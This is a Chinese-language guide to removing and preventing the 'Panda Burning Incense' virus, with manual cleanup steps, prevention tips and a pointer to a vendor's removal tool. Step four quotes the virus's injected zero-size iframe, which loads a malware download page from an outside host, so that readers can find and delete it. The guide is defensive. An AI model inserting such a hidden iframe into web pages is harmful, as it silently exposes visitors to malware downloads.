一、手工清除
　　第一步：点击“开始→运行”，输入“ntsd -c q -pn spoclsv.exe”并确定，结束病毒的进程。
　　第二步：在注册表中寻找“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL”，将CheckedValue的值改成1。打开“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”，将svcshare的项目删除。
　　第三步：删除硬盘各个分区根目录下的“setup.exe”和“autorun.inf”文件；删除掉C:\Windows\System32\Drivers下的spoclsv.exe文件。
　　第四步：搜索硬盘上的网页格式文件，找到其中类似“<iframe src="http//www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>”的文字，将其删除。注意，被嵌入的代码可能是其他的网址。
　　该病毒的一些变种会感染EXE可执行文件，因此建议使用杀毒软件或专杀工具清除该病毒。

二、如何防范“熊猫烧香”病毒
　　第一，安装杀毒软件升级到最新版本，并打开实时监控程序。
　　第二，该病毒会利用IE、QQ等的漏洞进行传播。瑞星卡卡3.2中的IE防漏墙功能可有效阻止该病毒利用这些漏洞进行传播。
　　第三，计算机应设置复杂的密码，以防止病毒通过局域网传播。
　　第四，QQ、UC的漏洞已经被该病毒利用，请用户及时安全它们的最新补丁程序。
　　第五，关闭系统的“自动运行”功能，防止病毒通过U盘、移动硬盘等侵入用户的电脑。

小提示：使用专杀工具清除
　　针对该病毒，瑞星已经推出了专杀工具。任何人均可登录瑞星网站http://it.rising.com.cn/Channels/Service/2006-11/1163505486d38734.shtml免费下载使用。专杀工具采用瑞星独创的未知病毒查杀技术，可有效清除“熊猫烧香”病毒及其未知变种。